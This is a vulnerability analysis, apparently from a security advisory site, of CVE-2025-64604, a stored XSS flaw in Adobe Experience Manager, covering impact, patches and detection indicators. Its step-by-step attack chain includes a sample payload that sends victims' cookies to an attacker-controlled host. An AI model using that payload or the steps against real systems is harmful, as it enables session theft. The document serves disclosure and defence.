CVE-2025-64604: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64604 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM as a Cloud Service versions prior to 2025.12.0. The vulnerability was disclosed on December 9, 2025, with NVD publication on December 10, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. A low-privileged, network-accessible attacker can inject malicious JavaScript into vulnerable AEM form fields; the payload is stored server-side and executes in the browser of any user who subsequently visits the affected page. Exploitation requires user interaction (a victim browsing to the page containing the injected content) and low privileges on the AEM instance. The changed scope indicator reflects that the injected script executes in the context of the victim's browser session, potentially affecting resources beyond the attacker's own session (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of authenticated AEM users who visit pages containing the injected payload. This can lead to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and potential lateral movement within the AEM environment if administrative users are targeted. Confidentiality and integrity impacts are both rated low (per CVSS), with no direct availability impact, though chained attacks against privileged users could escalate consequences significantly (Adobe Advisory, Feedly).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service versions prior to 2025.12.0, using network scanning or web fingerprinting techniques.
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a contributor or author role).
3. Identify vulnerable form fields: Navigate AEM authoring interfaces to locate form fields that do not properly sanitize user input before storing and rendering content.
4. Inject malicious payload: Submit a crafted stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
5. Wait for victim interaction: When a target user (ideally with elevated privileges) browses to the page containing the injected content, the malicious script executes in their browser.
6. Harvest results: Collect stolen session tokens, credentials, or other sensitive data from the attacker-controlled server to enable further unauthorized access (Adobe Advisory).

• Logs: AEM access logs showing POST requests to form submission endpoints containing encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=) from low-privileged user accounts.
• File System / Content Repository: Unexpected JavaScript content stored within AEM JCR nodes or page components, particularly in fields not intended to hold script content.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-authored pages; DNS queries to attacker-controlled domains originating from end-user workstations.
• Logs: AEM error logs or browser console errors related to Content Security Policy (CSP) violations triggered by injected scripts.

Adobe has released patches addressing CVE-2025-64604. Users should upgrade AEM on-premises installations to version 6.5.24.0 or later, and AEM Cloud Service environments are remediated in the 2025.12.0 release. No specific configuration-based workaround has been published; upgrading to the patched version is the recommended remediation. Organizations should also enforce the principle of least privilege for AEM author accounts and consider implementing a strict Content Security Policy (CSP) to reduce XSS risk (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products patched in December 2025, including this issue, flagging the overall patch batch as warranting prompt attention (CIS Advisory). Tenable published a Nessus detection plugin (278346) to assist organizations in identifying vulnerable AEM instances (Tenable). No notable independent researcher commentary or significant social media discussion specific to CVE-2025-64604 has been observed.